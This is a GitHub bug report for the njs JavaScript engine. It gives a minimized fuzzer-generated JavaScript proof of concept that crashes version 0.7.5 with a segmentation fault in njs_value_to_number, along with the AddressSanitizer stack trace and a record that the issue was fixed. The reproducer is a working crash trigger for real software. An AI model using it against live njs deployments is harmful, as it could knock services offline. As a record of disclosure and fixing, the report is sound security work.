

[New issue](#)
[Jump to bottom](#)

SEGV src/njs_value_conversion.h:17:9 in njs_value_to_number #523

✓ Closed dramthy opened this issue on Jun 1 · 0 comments

Labels bug fuzzer

dramthy commented on Jun 1

Environment

```
Commit : c62a9fb92b102c90a66aa724cb9054183a33a68c
Version : 0.7.5
Build :
./configure --cc=clang --address-sanitizer=YES
make
```

Proof of concept

```
// Minimizing 74595E5A-F4AD-43DB-A4E9-34F2D366AD8A
function placeholder(){}
function main() {
var v0 = /gL8?/;
var v1 = {};
var v2 = [v1,v1,v0];
function v4(v5) {
v2[1866532165] = undefined;
}
function v6(v7,v8) {
function v10(v11) {
v11[-4294967297] = Map;
}
var v13 = new Uint16Array(v2);
}
v1.valueOf = v4;
var v15 = typeof Map;
var v17 = typeof Map;
var v19 = new Promise(v6);
```

```

}
main();
// CRASH INFO
// =====
// TERMSIG: 11
// STDERR:

```

Stack dump

AddressSanitizer:DEADLYSIGNAL

=====

==7855==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x00000063545b bp 0x7ffeac888710 sp 0x7ffeac8884e0 T0)

==7855==The signal is caused by a READ memory access.

==7855==Hint: address points to the zero page.

#0 0x63545b in njs_value_to_number /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value_conversion.h:17:9

#1 0x63545b in njs_typed_array_alloc /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_typed_array.c:171:19

#2 0x63a56b in njs_typed_array_constructor /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_typed_array.c:229:13

#3 0x575aae in njs_function_native_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:728:11

#4 0x573e1c in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:766:16

#5 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23

#6 0x574c72 in njs_function_lambda_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:693:11

#7 0x573b65 in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:769:16

#8 0x573b65 in njs_function_call2 /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:592:11

#9 0x648ed3 in njs_function_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.h:178:12

#10 0x648ed3 in njs_promise_constructor_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_promise.c:214:11

#11 0x648ed3 in njs_promise_constructor /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_promise.c:164:15

#12 0x575aae in njs_function_native_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:728:11

#13 0x573e1c in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:766:16

#14 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23

#15 0x574c72 in njs_function_lambda_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:693:11

#16 0x573e4f in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:769:16

#17 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23

#18 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11

#19 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19


#20 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11

#21 0x4ddb8e in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15

```
#22 0x7f8daaa33082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId:
1878e6b475720c7c51969e69ab2d276fae6d1dee)
#23 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value_conversion.h:17:9
in njs_value_to_number
==7855==ABORTING
```

Credit
dramthy(@topsec alpha)

  xeioex added **duplicate** **fuzzer** **bug** and removed **duplicate** labels on Jun 1

 nginx-hg-mirror closed this as completed in [86c2c82](#) on Jun 4

Assignees

No one assigned

Labels

bug **fuzzer**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

